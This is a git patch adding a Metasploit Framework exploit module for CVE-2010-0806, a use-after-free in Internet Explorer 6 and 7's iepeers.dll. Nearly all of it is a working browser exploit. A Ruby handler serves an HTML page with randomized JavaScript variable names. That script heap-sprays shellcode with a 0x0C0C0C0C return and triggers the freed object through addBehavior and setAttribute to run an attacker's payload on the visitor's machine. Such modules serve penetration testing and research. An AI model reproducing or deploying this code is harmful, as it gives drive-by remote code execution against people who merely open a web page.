From 3c57fe6e81f1d17bd0447811c8760ec29222c01b Mon Sep 17 00:00:00 2001
From: Joshua Drake <github.jdrake@qoop.org>
Date: Wed, 10 Mar 2010 22:01:32 +0000
Subject: [PATCH] add exploit module for cve-2010-0806

git-svn-id: file:///home/svn/framework3/trunk@8770 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../windows/browser/ie_iepeers_pointer.rb     | 148 ++++++++++++++++++
 1 file changed, 148 insertions(+)
 create mode 100644 modules/exploits/windows/browser/ie_iepeers_pointer.rb

diff --git a/modules/exploits/windows/browser/ie_iepeers_pointer.rb b/modules/exploits/windows/browser/ie_iepeers_pointer.rb
new file mode 100644
index 0000000000..227a4ec4f1
--- /dev/null
+++ b/modules/exploits/windows/browser/ie_iepeers_pointer.rb
@@ -0,0 +1,148 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# ie_iepeers_pointer.rb
+#
+# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
+#
+# Tested successfully on the following platforms:
+#  - Microsoft Internet Explorer 7, Windows Vista SP2
+#  - Microsoft Internet Explorer 7, Windows XP SP3
+#  - Microsoft Internet Explorer 6, Windows XP SP3
+#
+# Exploit found in-the-wild. For additional details:
+# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
+#
+# Trancer
+# http://www.rec-sec.com
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Microsoft Internet Explorer iepeers.dll Use After Free',
+			'Description'    => %q{
+					This module exploits a use-after-free vulnerability within iepeers.dll of
+				Microsoft Internet Explorer versions 6 and 7.
+
+				NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'unknown',                         # original discovery
+					'Trancer <mtrancer[at]gmail.com>', # metasploit module
+					'jduck'                            # minor cleanups
+				],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2010-0806' ],
+					[ 'BID', '38615' ],
+					[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
+					[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+					'InitialAutoRunScript' => 'migrate -f',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 1024,
+					'BadChars'      => "\x00\x09\x0a\x0d'\\",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
+				],
+			'DisclosureDate' => 'Mar 09 2010',
+			'DefaultTarget'  => 0))
+	end
+
+	def on_request_uri(cli, request)
+
+		# Re-generate the payload
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Encode the shellcode
+		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
+
+		# Set the return\nops
+		ret  	  = Rex::Text.to_unescape([target.ret].pack('V'))
+
+		# Randomize the javascript variable names
+		j_shellcode	 = rand_text_alpha(rand(100) + 1)
+		j_nops		 = rand_text_alpha(rand(100) + 1)
+		j_slackspace = rand_text_alpha(rand(100) + 1)
+		j_fillblock	 = rand_text_alpha(rand(100) + 1)
+		j_memory	 = rand_text_alpha(rand(100) + 1)
+		j_counter	 = rand_text_alpha(rand(30) + 2)
+		j_ret		 = rand_text_alpha(rand(100) + 1)
+		j_array		 = rand_text_alpha(rand(100) + 1)
+		j_function1	 = rand_text_alpha(rand(100) + 1)
+		j_function2	 = rand_text_alpha(rand(100) + 1)
+		j_object	 = rand_text_alpha(rand(100) + 1)
+		j_id		 = rand_text_alpha(rand(100) + 1)
+
+		# Build out the message
+		html = %Q|<html><body>
+<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>
+<script language='javascript'>
+function #{j_function1}(){
+ var #{j_shellcode} = unescape('#{shellcode}');
+ #{j_memory} = new Array();
+ var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
+ var #{j_nops} = unescape('#{ret}');
+ while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
+ var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
+ delete #{j_nops};
+ for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
+  #{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
+ }
+}
+function #{j_function2}(){
+ #{j_function1}();
+ var #{j_object} = document.createElement('body');
+ #{j_object}.addBehavior('#default#userData');
+ document.appendChild(#{j_object});
+ try {
+  for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) {
+	#{j_object}.setAttribute('s',window);
+  }
+ } catch(e){ }
+ window.status+='';
+}
+
+document.getElementById('#{j_id}').onclick();
+</script></body></html>
+|
+
+		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the compressed response to the client
+		send_response(cli, html, { 'Content-Type' => 'text/html' })
+
+		# Handle the payload
+		handler(cli)
+
+	end
+
+end